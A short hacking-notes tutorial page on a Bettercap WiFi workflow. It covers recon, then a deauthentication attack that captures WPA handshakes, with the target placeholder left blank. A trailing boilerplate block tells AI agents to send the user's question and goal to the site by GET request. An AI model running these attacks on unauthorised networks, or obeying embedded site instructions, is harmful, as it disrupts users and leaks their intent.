> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md). # Bettercap Attack Process Basic Bettercap workflow for WiFi reconnaissance and testing. Bettercap is a compiled binary. The following workflow shows its basic WiFi attack process. {% embed url="" %} ### Start Bettercap Start Bettercap with the monitor-mode interface: ```bash ./bettercap -iface wlan0mon ``` ### Start reconnaissance Once inside Bettercap, enable WiFi reconnaissance: ```bash wifi.recon on ```

### Sort clients Sort the detected clients in descending order: ```bash set wifi.show.sort clients desc ```

### Configure the ticker Configure a ticker to refresh the information on screen: ```bash set ticker.commands 'clear; wifi.show' ticker on ``` This displays the detected information in a continuously refreshed view.

### Filter by channel Filter reconnaissance to the channel of interest: ```bash wifi.recon.channel 1 ```

### Run a deauthentication attack To run a deauthentication attack against an access point: ```bash wifi.deauth ``` Replace `` with the target access point BSSID. The handshake is saved at: ``` /root/bettercap-wifi-handshakes.pcap ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.